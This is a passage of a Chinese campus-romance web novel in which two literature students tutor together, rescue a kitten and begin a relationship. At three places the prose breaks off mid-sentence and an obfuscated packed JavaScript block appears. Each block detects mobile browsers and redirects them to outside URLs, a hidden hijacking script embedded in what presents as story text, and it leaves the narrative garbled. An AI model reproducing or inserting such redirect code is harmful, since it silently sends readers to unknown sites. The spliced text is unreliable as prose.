一个圆脸大眼睛的姑娘,上身一件浅蓝单衫,明净得像是刚从天际裁下来的一样,下摆扎进水洗牛仔裤里,两手小心地抓着门把手,探进半个脑袋,左右看看,像在找什么。
看见站在店长跟前挨训的连川,她突然弯眼笑了,推门进来。
连川立马朝女生走去。
余青:“???”
余青:“不是,你等等,问你话呢,你也太不把本店长放在眼里了!”
不过,不用连川回答,她好像有答案了。
连川抱着菜单,领她到窗边一张空圆桌坐下,低着头,轻声说着什么。
女生仰脸听着,笑意亮晶晶的。
终于,连川离开,女孩从身后的背包里掏出六级真题和耳机,趴在桌边,不声不响地做题。
余青好奇地凑到连川边上:“女朋友?”
连川不带感情地横了她一眼。
余青:“……”
这小子,就算没把店长放眼里,好歹她也是个学姐吧!
可恶,还舍不得开了他。
“同学。”连川答。
余青听乐了:“行,同学。你同学点了什么?”
“融化黑森林。”
“什么融化黑森林……”余青怀疑自己听错了,“热可可?我们店里只卖咖啡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323578|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
话音刚落,她就眼看着连川从自己带来的包里,掏出了一大包原料。
“借后厨一用,学姐。”
余青:“…………”
无事喊店长,有事喊学姐。
她无奈地扇了扇手背,一脸烦不胜烦:“行吧,祖宗。”
余青很放心连川,他有分寸,不会误事。果然,二十分钟后,他陆续捧饮品出来,每桌送了一杯,说今天店里有新品尝鲜活动。
女生领了第三杯。
意识到无需付款时,女生面露吃惊,旋即说:“我再点点别的吧。”
余青立即凑上来:“你是A大学生吗?出示学生卡可以打八折。”
连川肯定不会告诉她女生的名字,好在她自有手段。
女生没怀疑,从兜里掏出校园卡,递过去。
余青一看:祝祺。
看学号,和连川是同一届入学的。
校园卡上,女生穿着军训时的迷彩服,比现在黑瘦不少,眼睛大得稍显突兀,笑容僵硬,两边脸笑得不太对称,像是被相机镜头恐吓了。
她眯眼笑笑,又把校园卡还回去。
连川站在一旁,抱手看她动作:“记得打八折。”
这是八卦的代价。
余青拍拍胸脯:“本店长一言既出驷马难追,你是连川的朋友,再给你一个折上折。”
祝祺有点不好意思了,站起身来,忙乱中左耳挂的一只白色有线耳机被扯下来,落在桌面习题册上,咕噜地滚了一周。
余青还嫌捉弄得不够:“女朋友的话免单哦。”
祝祺:“……”
连川:“…………”
学弟学妹都窘得面上飘红,余青仰天大笑离去。
看热闹不嫌事大的走了,连川尴尬垂眼,硬着头皮说:
“你也看到了,我就是为生计所迫,才在这么可怕的店长手底下打工。”
祝祺像是被吓呆了,半晌没说话。
“周中来三个半天,周末一个整天。这里的工资,基本可以覆盖生活费。学费还得另想办法。”
祝祺点点头,又问:“你的鞋……”
连川面不改色:“A货。”
反正她看不出来。
“你的字显然有书法功底……”
“小时候照着语文书课本描着学的。”
“那英语呢?”祝祺还是很警惕。
她知道,家境好的小孩,出生就在双语幼儿园;家境不好如她,上初中才开始背字母表,对着“H”念“喝”,在英语单词底下用中文注音。
没有什么比英语能力,更直观地显示出家境。
连川解释:“我小时候在国外生活过一段时间。”
这对祝祺而言,比双语幼儿园的冲击还大。
眼看女生的眉毛拧起来,连川又说:“在斯里兰卡。”
祝祺一脸困惑。
连川刚想打补丁,自己是跟着一群英国摄影师学的英语,所以口音没有咖喱味,却听祝祺问:“斯里兰卡在英国吗?”
连川失笑:“在南亚,是一座眼泪形状的小岛。”
他索性在祝祺对面坐下,拿出手机,给她看网盘里电子存档的照片。
这些都是二十年前的旧照片,右下角显示着拍摄日期。照片里,山峦叠翠,丛林郁郁蓊蓊,云气升腾。蕉叶葱绿,被阳光浇透,泛着翡翠一般耀目的光泽。林木间平静地栖息着祝祺只在纪录片频道见过的象群。雪白圣洁的宗教建筑中,是手持莲花、赤足入殿的虔诚信徒。
在连川的默认下,祝祺将照片一张张划过去。
原来连川以前生活过的地方,也有很多山。
只是连川眼中的山,宽广而包容,孕育着自由旺盛的生命。炽阳似能照彻草木吞吐的沁凉水汽,抵达每一寸土地。
和她幼时记忆里,终日浸在雾瘴之中的红土囚笼,截然不同。
“在想什么?”连川见她沉默,低声问。
祝祺抬头,指着手机屏幕中的巨木,一脸认真:“这么大的树,砍下来卖了,能赚好多钱。”
连川:“……”
连川:“这是斯里兰卡龙脑香,在IUCN红色名录上,濒危,干点人事吧。”
祝祺又翻到下一张:“这只举着香蕉的黑猴子,也是濒危物种吗?”
“……这是灵长目智人种,我小时候。”连川脸臭得像要吃人,“你故意的是不是,祝祺?”
祝祺:“嘿嘿。”
12.咪咪咪咪
照片唤起祝祺在高中文综刷题时积攒的对南亚岛国斯里兰卡的微薄印象。
债台高筑,内乱频仍。
这样的生存环境,确实不符合她对大少爷童年的想象。
最终祝祺相信,连川和她是一类人:没有家庭可倚靠的倒霉穷光蛋。
区别是一个穷光蛋自顾不暇,又争又抢,另一个穷光蛋还有余裕做点好人好事。
穷光蛋对穷光蛋,确实谈不上施舍和低看。
投桃报李,她好心地向穷光蛋二号介绍了学校里的几个勤工俭学岗,和他有望申请的助学项目,把这些名目一一整理在草稿纸上。
连川坐她对面,手扶下巴,听得心不在焉,眼神从她飞速移动的笔尖,移到她低头写字时卷翘的睫毛上。
祝祺抬眼,他就低头,接过祝祺递来的草稿纸,起身,将手指贴在饮品杯壁上试温度:
“我先去忙,饮料趁热喝。”
祝祺捧过温暖的杯身,鼻尖凑近,面对黑乎乎的不明液体,小心地嗅了嗅。
连川勾唇:“这是巧克力,甜的,和那天你在唐女士家喝到的不一样。”
那日桌上一共两杯冰美式,不属于他的那杯,杯沿覆了一点微红的唇釉,却几乎没有喝过。
他也诧异,自己在有关祝祺的事上,好像格外细心。
连川工作时,祝祺就在咖啡馆靠窗的角落,安静坐着写题。中午时,她点了一份简餐,一边吃,一边还在听听力。
余青看得眼睛都直了:“那姑娘的学习劲头太吓人了,她怎么做到几小时不挪窝的?”
连川正低身整理餐吧上的餐具:“她是要做研究,成大事,出人头地的人。”
余青一怔:“什么?”
连川便不说了。
下午两点,连川交班,带祝祺回学校。
Breeze距离A大三公里远,乘公交二十分钟。连川让她坐在自己自行车后座,节约两元车费。
祝祺没推拒,大大方方侧身上车,两手老实地捏着他的卫衣下摆。
连川卫衣宽大,她手里攥了一大把衣料,还是抓不稳。过弯道时,她手一抖,在连川紧绷的腰腹上抓了一把。
连川还没来得及骂,身后祝祺就已经像一串炮仗一样地开始道歉:
“对不起对不起对不起对不起!”
“倒也不用……”
“啊啊啊连川!”
吵得他脑袋疼。
“连川连川连川!”
连川又气又好笑:“刚刚晃那一下,把你脑子晃坏了吗?”
祝祺单手抓着他卫衣,拽了他两把:“我的脑子好像真的坏掉了……”
连川心头一跳,猛急刹。
身后,祝祺往前一栽,额头又结结实实在他背上磕了一下,“咚”一声。
连川下车回身,半低下身,扶过她脑袋,双目平视时,淡灰色的双眸快速扫过她的脸,透出一丝少见的焦急:
“疼不疼?哪里不舒服?是上次磕到脑袋没好全,还是刚刚我没骑稳……”
祝祺又像是哭又像是笑地举起手机:“你看这条短信,我不会是出现幻觉了吧。”
「唐女士:祝同学,你好。我和小央商量后,希望能请你和连同学,一起来负责小央的语文家教。如果你还有家教的意向,请和我联系。」
不愧是小央。
两人各有所长,小学生才做选择,高中生当然是全都要了。
连川看见短信,松了口气,向她眉眼舒展地一笑:“恭喜。”
祝祺呆了一瞬。
热巧克力糖分过量,血糖延迟飙增,令她一向机灵的脑子像是停转了。胸口鼓满了略高于体温的惰性气体,晕晕乎乎的,快要沸腾。
连川已重新上车了:“扶稳,祝老师。”
腰上,两只手又小心翼翼地攀上来,攥着他的衣料。
指尖隔着衣料擦过他腰身,带起一阵痒。
*
暑假期间,连川与祝祺一齐为小央设计家教课程。一次课共三小时,他们协商分配时间。
语文家教结束后,连川还会留下,给小央辅导英语。
此时,祝祺便在距离小央家不远处的Breeze,看着书,等连川下班,一起吃饭,再蹭连川的单车回学校。
祝祺坐惯了连川的后座,一手抓他的衣服,一手还能捧本书看,坐得稳稳当当。
连川抗议:“祝老师,别卷了。”
祝祺不搭理他,他就故意扭车把,吓得祝祺像只鹌鹑似的往他背上栽。
她再也没有喝过热巧克力,却无数次体会到与摄入过量糖分类似的眩晕。
新学期,连川从男生扎堆的后排,搬到卷王扎堆的前排。
祝祺所在的第一排早已坐满,他落座在祝祺斜后方。
与祝祺一同上课的室友大喵十分警觉,上课时,老回头往身后瞟。
课间,祝祺想趴着小憩一会,大喵在她耳边说悄悄话:“连川不对劲。”
祝祺困得不行:“怎么了?”
“他上课的时候总是偷看你记笔记。”
祝祺把眼睛睁开了。
大喵认真地得出结论:“他想卷你。”
“……”祝祺又把眼睛闭上了。
课间,连川路过祝祺桌边,用指节敲敲她的桌子,当打招呼。
大喵倒吸一口凉气:“这就是年级第一与年级第二之间暗流涌动的宣战方式吗?”
祝祺往后笑看一眼,连川不自在地别过脸去。
都怪连川长了一张没礼貌的脸,没人猜到他只是害羞。
一次,大喵在寝室里问,有没有适合学生会部门团建的小店,氛围好一点的。
祝祺说:“岑山北路上的一家咖啡馆,叫Breeze。”
想了想,她又补充一句:“这家店的热巧克力很好喝。”
大喵愉快地收下了安利,周末就背着一包桌游去探店了。
抵达后,她给祝祺发消息:“店员说他们家只卖咖啡,没有热巧克力啊!”
祝祺正在图书馆,和连川一起自修。
看到这句话,祝祺捅了捅连川的胳膊肘,把显示着聊天界面的手机递过去,在聊天框里打了个问号。
连川低头,耳尖肉眼可见地红了。
他接过手机,在聊天框里打字:
「试吃的客人没有及时给予好评,本店新品融化黑森林惨遭下架。」
祝·没有及时好评的试吃客人·祺瞪大眼,抢过手机,给连川发消息。
「猪7:好评!!!!!」
「脸很凶的紧急联系人:晚了。:)」
「猪7:可不可以再抢救一下TAT」
「脸很凶的紧急联系人:哼。」
*
第二年,初春三月,小央即将高考,祝祺和连川也忙于保研前夕的绩点冲刺,家教暂停。
中文系的课堂氛围前所未有地凝重,课上一片打字笔记声,课下全在量子波动速读。
在这种要紧关头,祝祺竟然翘早八。
连川望着斜前方的空座位,诧异扬眉。
「脸很凶的紧急联系人:你不会是睡过头了吧?」
「猪7:签到了?点名了?」
「猪7:[惊恐]」
「脸很凶的紧急联系人:……没有。」
「猪7:我在后山,计算机系系楼北门附近。」
「脸很凶的紧急联系人:好学生也翘课春游?」
与此同时,对面弹出一句:「你能过来帮个忙吗?」
又撤回了。
「猪7:不麻烦你了,好学生。」
连川:“……”
「脸很凶的紧急联系人:你等着,我马上来。」
讲台上的外国文学史讲师,眼看第一排如缺牙一般空出一个座位,下课出门倒杯水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15330178|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的功夫,原本坐满的第二排也空了一个人。
定睛一看,还是年级第一和年级第二。
年轻的讲师陷入两秒自我怀疑。
*
连川没花多久,就在后山见到了祝祺。
祝祺站在一颗树下,费力地把手往上够。
她还从附近计算机系系楼借了把椅子。椅子搁在树下土坡上,歪斜不平。她踩在凳子上,身体摇摇晃晃,一手扶着满是青苔与土屑的树干。
树杈上,有一只拳头大的橘色毛绒团。
小猫看起来只有一两个月大,小肚子饿瘪,胆怯地窝着,不敢动弹,偶尔发出两声短促沙哑的嗷声。
祝祺听到脚步声,回头,两眼晶亮:“好学生来啦?”
连川忽略她话里带笑的揶揄:“你在救猫?”
“对,我早上来这晨读,一直听到有猫叫,不把它救下来,我不安心。”
连川点点头:“你下来,我来吧。”
祝祺犹豫后,仍站定不动:“还是我来吧,你扶着我。如果你摔跤,我扶不动你。”
树杈并不高,踩在椅子上的祝祺,踮脚就可以够到猫。
只是踮脚的时候,椅子会晃。
她可不想没救到猫,还把自己折进去。
她回身,继续锲而不舍地向小猫伸出食指,期待他产生嗅闻的好奇心,向前移动几寸。
连川迟迟没有动作。
他不知道可以……扶在哪里。
眼前,女生单穿一件雾灰色的毛衣,露出衬衫领口,胸前织着一只白色卷毛小狗,此时已经蹭了些土灰。下身是加绒牛仔裤,裤腿布料勒出腿部的轮廓。
扶哪里都不对。
“你怎么不叫你室友来?”
祝祺漫不经心答:“她们都要听课的嘛。”
连川哼一声:“我就不用听课了吗?”
祝祺回过脸,粲然一笑:“你不用听课也能轻轻松松考第二呀。”
“……”
这话从年级第一嘴巴里说出来,听起来怎么这么让人不爽。
他谨慎地探出手,不敢乱碰,轻轻扶在祝祺膝上略高一些的位置。
隔着牛仔裤的布料,仍能感受到意外的柔软。
他好像终于知道祝祺每天吃那么多,肉都长到哪里去了。
祝祺低头,奇怪地看了他一眼。
连川耳尖如烧,扶着她膝盖的手如在火中取栗,紧张到微蜷。
他低着脸,硬着头皮说:“你叫我扶你的啊。”
祝祺想了想,也不是不行。
还是决定不提醒他可以扶椅子了。
下一秒,祝祺踮脚,眼明手快,擒住小猫后脖颈。
被命运捏住了后脖颈的小猫,在空中无谓地挥了挥小爪子,就猫德很好地束手就擒,一动不动,像一只脏兮兮的毛绒玩具。
连川扶着祝祺的胳膊肘,帮她从椅子上下来。
小猫虚弱得眼睛都睁不开了,腹部瘪瘪的,还有温度,戳一戳,会发出微弱的“咪呜”声。
得赶紧送去医院检查。
祝祺将课本、笔记本和近日在研读的文献材料等等厚厚一摞书,一齐从书包里清出来,毫不爱惜地暂时放在树下椅子上,留张便签说明请勿收走,便将猫塞进了书包里。
她反背着包,将猫护在自己胸前,又一次坐上了连川的单车后座。
连川骑得飞快,祝祺死死抱着他的腰,一路吱哇乱叫。
怀中小猫发出惊恐又凄惨的咪咪声。
祝祺:“你骑太快吓着猫啦!”
连川:“是你鬼叫吓着猫了!”
在小猫被吓断气之前,两人鸡飞狗跳地赶到了A大附近的“爱你喵”宠物医院。
睡眼朦胧的宠物医院院长周文真从祝祺怀中接过小猫,带去检查。
在等候区内长达一小时的争执之后,他们终于统一意见,给小猫取名金豆。
13.咪咪咪
一周后,周文真在“金豆家属群”中发消息,说金豆已经康复,活蹦乱跳能吃又粘人,爸爸妈妈可以接猫回家了。
祝祺在“爸爸妈妈”四个诡异的字眼上停顿片刻。
取得室友们的一致同意后,祝祺来到宠物医院接猫。
她做好支付一大笔诊疗费用的心理准备,周文真却笑说,金豆爸爸已经来付过了。
祝祺:“你好,等一下,不是……唉,算了。”
不到十天,金豆已猛猛地长大一截。之前脏污打结的毛被剔掉,又新长出绒毛。猫洗得干净蓬松,像一只烤糊了的牛奶小面包,粉色的小肉垫有一股爆米花香气。
周文真捧着猫,提示金豆:“妈妈来接你了哦。”
仿佛认出这是救他的人类,金豆嗅闻两下,便将毛茸茸的脑壳,轻轻贴在祝祺的脸颊上:
“喵呜——”
祝祺曾经犹豫过,她还在领贫困生补助,养活自己都勉强,能否养好一只猫。会不会帮助金豆找领养,才是更负责任的选择。
但在金豆满怀信任地贴近她的那一刻,她感到一种奇妙的联结——
这是她的猫。
从她把猫抱下树的那一刻起,他们就不会再分开了。
祝祺和她的室友们将猫偷偷养在宿舍。
宿舍原则上不允许养宠,一寝室四个姑娘隔三差五网购猫粮猫条猫砂盆猫爬架,大费周章地往寝室偷运,宿管阿姨都看在眼里。
有一日,阿姨终于决定去和226姑娘们谈谈。
“你们是不是养猫啦?”阿姨非常严肃。
祝祺:“没有啊。”
大喵:“怎么会。”
二毛:“请苍天辨忠奸!”
狒狒:“那个猫爬架是我们自己爬着玩的。”
这时,金豆听见陌生人类说话的声音,热情地迎了上去,用柔软温热的身体,蹭着宿管阿姨的脚脖子,尾尖兴奋地缠了上去,嗲声:
“咪咪——”
你好,人!
一寝室沉默。
金豆实在是……太喜欢人了。
阿姨低头,看着脚边干净的橘白毛团,陷入情与理的纠结。
最后,阿姨还是没忍住,用手指抠了抠猫的小脑袋,小声说:
“注意寝室整洁,别让猫跑出来,毕业之后记得带走,不要丢在校园里,知道吗?”
一寝室姑娘们又支棱起来了,欢天喜地地说阿姨真好,请阿姨进来吃零食。
阿姨连声说不了不了,最后恶狠狠地补一句:“你们今天没见过我。”
“知道啦阿姨!”
就这样,金豆在女寝中半合法地住了下来。
金豆无比黏人,几分钟不吸人,就像几分钟没吃饭一样,蔫头耷脑。为了应对金豆时不时的人瘾大作,女生们商量了值班表,除了专业课非去不可之外,总有人要留在寝室里陪猫,连常年住在图书馆和古籍所的祝祺,都改变了日常规划。
晚上,金豆会随机临幸一张小床,爬上铁质爬架,窝到人的枕边。
祝祺被翻牌最多。
其余三个女生说,是因为金豆聪明,知道谁是救他的妈妈,谁是沾了妈妈光的便宜姨姨。
金豆上床很乖,不闹腾,会打小呼噜,不管怎么翻身,始终睁着扩瞳后黑亮的眼睛,盯着祝祺看。
来自小猫的无穷多爱意,几声绵软的喵喵,都不足以表达出来。
祝祺被看得心软,没忍住拍了一张金豆窝在自己怀里的照片,发给连川:
「猪7:请金主爸爸查收今日份小猫!^ ^」
哼哼,“金主爸爸”和“金豆爸爸”一字之差,意义天差地别,巧妙化解尴尬。她真是语言天才。
……
同样已熄灯上床的连川,在被窝里点开大图,手一抖。
照片没有露脸,只有少女白皙细腻的一段颈部,和碎花淡黄睡裙领口遮掩的胸口。猫的小白爪正好按在她胸口裸露的肌肤上。寝室昏暗的灯光下,那里莹白如一块暖玉。
「脸很凶的紧急联系人:发猫就行,不要带人。」
「猪7:噢,好吧。」
*
七月,小央收到来自P大中文系的录取通知书,预备北行。
唐女士请连川和祝祺,来家中露台上吃烧烤。
此时大三下学期的专业课期末考都已结束,分数未出,二人对自己的考试发挥心中有数。连川即将在九月推免季中,保研本校的现当代文学方向,祝祺则准备申请古典文献学方向直博。
即将上大学的小央兴奋又紧张,啃着肉,问这问那:
“小连老师,你当上诗社社长,是因为你的诗写得最好吗?”
连川:“不是,选社长是看体格的。”
小央:“?”
连川:“……诗社社长的主要工作是当社团聚餐,写古典诗的和写现代诗的喝多了打起来的时候,站出来拉架……”
连川拉架,暗有立场倾向。某些挑事的装货先挨几拳,他才装模作样起身平事。
这算是在所谓诗社做社长的唯一乐趣了。
小央瑟瑟发抖:“这么吓人?!”
连川微笑。
“小央别怕,我教你怎么跟这群人打交道。”祝祺咬着橙瓣笑说,“遇上写古诗的,你就夸青莲第二。写律诗的,夸沉郁顿挫。写词的,夸重光后身,哀感顽艳。”
“遇到写现代诗的,更简单了,一套话术吃遍。”
祝祺清了清喉咙,突然转头向连川,水光清亮的眼一错不错,甜润的嗓音压低,神情认真:“你好特别,你和我认识的男生都不一样,你给我一种疏离感。”
连川:“……”
她还没背完:“然而吊诡的是,我从你的个体表征中窥见一种后现代式的身份流动性,却又难以解构其滥觞所在……”
小央笑得歪向连川一侧:“小连老师,有用吗?”
连川一脸无奈:“你听她胡说八道。”
小央:“那你耳朵怎么红啦?”
祝祺这才向他脸侧望去。
连川避开她的视线,移过脸,眉心按得低,像是不自在。
祝祺突然意识到,这几个月来,连川像这样避开她视线的次数,好像有点多。
回寝室后,祝祺以防万一,还不忘问问连川:
「猪7:生气啦?」
连川回得很快:
「脸很凶的紧急联系人:生什么气?」
祝祺猜到他没那么小气。
「脸很凶的紧急联系人:你到寝室了吗?看看猫。」
祝祺从自己床上把金豆拖下来,严格按照连川要求,只拍猫,不带人,怼着金豆肥嘟嘟的大饼脸,连拍几张,发过去。
阳台上传来石子击中铁质栏杆的脆响。
祝祺抱着猫,推开玻璃门,上阳台。
连川刚好扶着自行车,路过女寝后墙,顺手抛颗石子上去,真把祝祺叫出来了。
余霞成绮,四下暮色是柔和的淡紫色,连川借着夕照仰脸看去。女生已把沾满烤肉气味的连衣裙换下来,穿上宽大的蛋壳黄居家服,原本扎起的长发也散下,柔柔地披在肩上。
她见到连川,便笑了,把小猫捧高,半遮住自己的脸。
她一手牢牢地环抱着愈见沉重的金豆,一手捏着他的小白爪子,招财猫似的上下晃了晃,向连川招手,大声:
“金豆说,你好。”
连川也笑,低头,在手机上打了行字。
「脸很凶的紧急联系人:小猪7抱小猪咪。」
「猪7:……」
「猪7:天杀的连川,你赶紧把我备注改了,不然我放猫咬你。」
她低头打字,生着气,颊边鼓鼓的。
金豆被抱久了,在祝祺怀中乱扭着抗议:“喵——”
她赶紧把猫放回寝室,又把玻璃门关好。
回到阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15337218|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
台时,连川竟还在阳台下,半倚着单车,姿态慵懒,像在等她。右手上握着的手机,屏幕亮着,是他们的聊天界面。
祝祺心念一动,问:“连老师,明天有空吗?”
连川点头。
她在准备申请直博的材料。直博面试需要进行长达半小时的英文陈述。她拟好了草稿,试讲过几遍,还不太满意。
正好可以让连川提提意见。
*
第二日傍晚,两人约在后山捡猫那棵树附近,找了张林荫下的长椅,坐着聊。
长椅看似宽阔,坐两个人绰绰有余。然而,连川腿长肩阔,占了大半空间,二人之间还隔着不近不远的一拳距离——远一寸便刻意地生分,近一分又不必要地亲昵。一落座,两个人的身子都贴着长椅两侧的黑漆镂花扶手,逼仄别扭,硌得祝祺大腿一侧生疼。
不自在就像是一种通过呼吸传播的传染病。
病症是,喉口发干,掌心泛冷冒汗,感官敏锐得异常,眼神随着风中摇曳的草叶,游移不定。
祝祺开始后悔为什么要约在这里喂蚊子。
连川的反应比她镇静得多。他接过祝祺的文稿,用随身携带的水笔,在纸面上勾划,调整了几个句子。
和他书写汉字时隽秀的行书不同,他的英文字体圆圆胖胖,像帝企鹅,笔画工整,打印一般清晰。
第二日,仍在此地。
连川坐,祝祺站在他面前,用连川帮她修改过的文稿,模拟面试。
她没有学过音标,也没有老师着意纠正过她的发音,她从来是一遍遍听磁带,用说中文的惯性思维,去推想英文的发音。虽然听起来大差不差,却总是不地道。
连川耐心地一一纠正。
一连几天,祝祺学得腮帮子都酸了,垂头丧气,有些挫败。
连川说:“有Chinese accent是非常正常的一件事,你的accent没有重到影响交流的地步,不修正也没有关系。”
祝祺一听他说话,又来劲了:“你怎么连说accent,都比我说的更好听?!”
连川淡淡一笑:“你的前元音,大ae,没有发到位。”
祝祺听得一脸懵。
连川引她坐在自己身侧,转过脸来,专注地看着她的眼睛:“祝祝,注意看我的嘴型。”
眼睫微垂,祝祺的视线从连川眉心往下落,落到他的唇形上。
他唇色淡红,有些湿润。似乎是讲解中途口干,他很快地咬唇舔过。
连川示范地念了一遍。
泛着淡淡水光的下唇一角,随着发声,短暂地绷紧,又放松。
祝祺心跳声响得让她几乎听不清自己学舌的声音。
连川摇头了。连川又念了一遍。连川提醒她,去想想现代汉语背过的舌位图。连川说,不仅两侧脸颊要提起来,舌头也……
祝祺是个很好学的孩子。
初中科学课,她第一个举手上台,勇敢尝试触碰酒精灯焰心。
读书时,她也相信触觉,用手一行行地抚过文字,可以帮助她记忆,让她安心。
于是她上手摸了。
指尖先触到连川下唇那一片湿润,抵着往下一按,柔软得不可思议。随后,屈指,挑动一片水红。
再后来,是连川温热的吐息,自喉腔,卷上她的指节。
烫得她脑子清醒了。
祝祺短促地“啊”了一声,猛地把手指挪开,做错事似的藏在身后:
“对不起对不起对不起对不起……”
连川讶异地看着她。
祝祺急得语无伦次:“我只是,你说嘴唇,舌头,我搞不懂,我没办法形成概念,我……”
连川握住她没有藏在身后的手的腕处,将她往自己身前很轻地一拉。
祝祺惶惑地闭上眼睛。
方才触摸过的,给她留下了无比鲜明可靠印象的,温暖柔软的事物,印在了她的嘴唇上。
14.咪咪
只是很浅的一触,旋即又分开。
连川提示:“呼吸。”
听不出他的喜怒,像是再平常不过的、教学时的一句话,和他方才提示祝祺如何发声,语气声调别无二致。
祝祺急促地呼吸了两下,还不及睁开眼,连川身上清新好闻的气息,又挨近。
这次他吻得更绵长,更温柔,含/.住她的上唇,像是品尝糖果,挑动她开启牙关。
祝祺忍不住抬手,去扳他的肩膀。
连川完全不动,上身缓慢地覆/.压下来,掠/.夺祝祺身后所剩无几的空间。祝祺顺应着连川的动作,身体向后倒去,腰正好卡在长椅的镂花扶手。
连川察觉到她不舒服,另一只手托住她的后腰,将她往自己怀中送。
祝祺感觉自己像一只破破烂烂的绒毛狗玩具,肢体烫得像被七月的炽阳晒了整日的湖水,没有任何挣扎的力气,一点点嵌/.进他怀中。
颈部往后弯折到一个不可思议的角度,只为与他接吻。
亲到最后,身体好像灌注煮沸的铅水,沉得她心头发慌,一点点往下坠。
全凭连川一只手,始终托着她的腰。
——太不安全了,好像高空行索道,只在腰间系了一根绳。她能信任这么脆弱的事物吗?
她强硬地错开脸,连川的鼻尖温存地划过她绯红似涌霞的面颊。
脱身的一刻,她剧烈地呼吸起来。
连川抬起手,用拇指指腹轻柔地抚过她的眼角,脸颊。
“吓到你了?”他心虚时反而狡辩,“是你先开始的,祝祝。”
祝祺掀起眼皮,满眼嗔怒:“我道歉了的。”
“道歉就可以吗?对不起。”
肇事者毫无悔意,一顿,又说:“我多说几次对不起,是不是可以多亲几下……”
“???”
连川飞快在她唇上掠了个吻,啵一声,水声嘹亮。他眉眼带笑:
“谢谢你,宽宏大量祝老师。”
*
祝祺晕晕乎乎地回到了自己的寝室,换上居家服,抱着猫,钻进窗帘,躲到被子里。
她没有吃晚饭,胃却由于紧张而鼓胀着。
There are butterflies flying in my stomach.——她似乎能想象连川念这行英文的声音,口型,嘴唇形状与舌位的变化。
天呐怎么这也能想起……
她埋下脸,用力把嘴唇往猫脑壳上擦擦擦,叼了一嘴猫毛。
金豆在秃顶的边缘,小爪子使劲扒着祝祺的胸口,嗷嗷乱叫,想挣扎逃脱。
祝祺恨恨地骂出声:“连猫都不喜欢这样!”
念完,她卷起被子,把猫一罩,裹进自己怀里。
金豆认命地不挣扎了,甚至还踩着奶,打起了呼噜。
祝祺:“……”
祝祺点着它的粉鼻头:“好没骨气的小猫!我欺负你,你应该反抗!”
金豆一边踩奶,一边眨着黑葡萄般的大眼睛,委屈巴巴地“咪——”了一嗓子:
可是真的很舒服嘛!
祝祺满脑子乱七八糟,在被窝里胡乱地蹬腿,和猫一起嗷嗷鬼叫。
手机震了一下。
「脸很凶的紧急联系人:看看小猪。」
祝祺没好气地随手拍了一张小胖猫,发了过去。
「脸很凶的紧急联系人:不是这只。」
「猪7:……」
「猪7:你是真的想死了,连川。」
「脸很凶的紧急联系人:好吧,祝老师,死前可以有遗言吗?」
「猪7:我大发慈悲地允许了。」
「脸很凶的紧急联系人:刚刚,我很紧张,忘记说了。」
「脸很凶的紧急联系人:我喜欢你,祝祺。」
昏暗床帘内,手机屏幕的荧光映在一张神情凝滞的面容上。
祝祺似不识字一般,睁大眼读了许多遍,攥紧手机的指端酥酥麻麻,像是聚了许多微小的火花,正在酝酿一场大爆炸。
金豆从她的胸口正步踩过,压熄她胸口咚咚作响的鼓噪。
她蜷了蜷有些使不上力的手指,一本正经地打字回复:
「猪7:饶你一命,男朋友。」
*
好在保研直博基本上尘埃落定,盛夏漫长无事,他们可以花很多时间来学着进入新身份。
连川发现,比起接吻,祝祺更喜欢拥抱。
暑假,教室无人。祝祺学累了,就转过身,先将两条腿架在连川腿上,再伸手臂揽住连川的脖子,像是将疲惫的四肢扔到男友身上,最后把脸埋进连川颈窝,小狗似的抽抽鼻子。
肢体缠绕,身体挨得无比紧密。
夏季衣料单薄,这种拥抱姿势下,祝祺可以感受到两人紧贴的胸腔如何鼓动,以及连川身体的变化。
她需要连川抱着她,哄孩子似的轻轻摇晃,在她脸颊边安抚地落吻。
原来过去她自以为的不爱撒娇,只是因为还没找到可以放纵任性地对他撒娇的人。
连川也是头一次知道,祝大卷王一天能说上百个“不想学了”,语速快如倒豆,噼噼剥剥地嘟囔,抱怨完又老老实实趴回桌上死瞪着书,连后脑勺都好像写着不开心。
他看一眼,就忍不住笑。
临近开学,祝祺提起,在寝室养猫,总感觉给室友添麻烦了。
室友们都很喜欢金豆,但喜欢,不意味着愿意忍受养猫的气味,满寝室飘的猫毛,猫捣鼓出的鬼动静,和猫不受控制的拆家。
连川顺畅地接过这个话题,同意新学年一起从学校退寝,在学校附近租房。
祝祺忙于申请博士。连川在中文系前辈的帮助下,寻找房源。
有校友这层关系在,租房比他们想象得便宜许多,房间质量也有保障。
几番挑选下,连川选中一间一室一厅且含厨房的出租屋,月租一千五。他细致地拍照,传给祝祺看。
「猪7:可以,看起来不错^^」
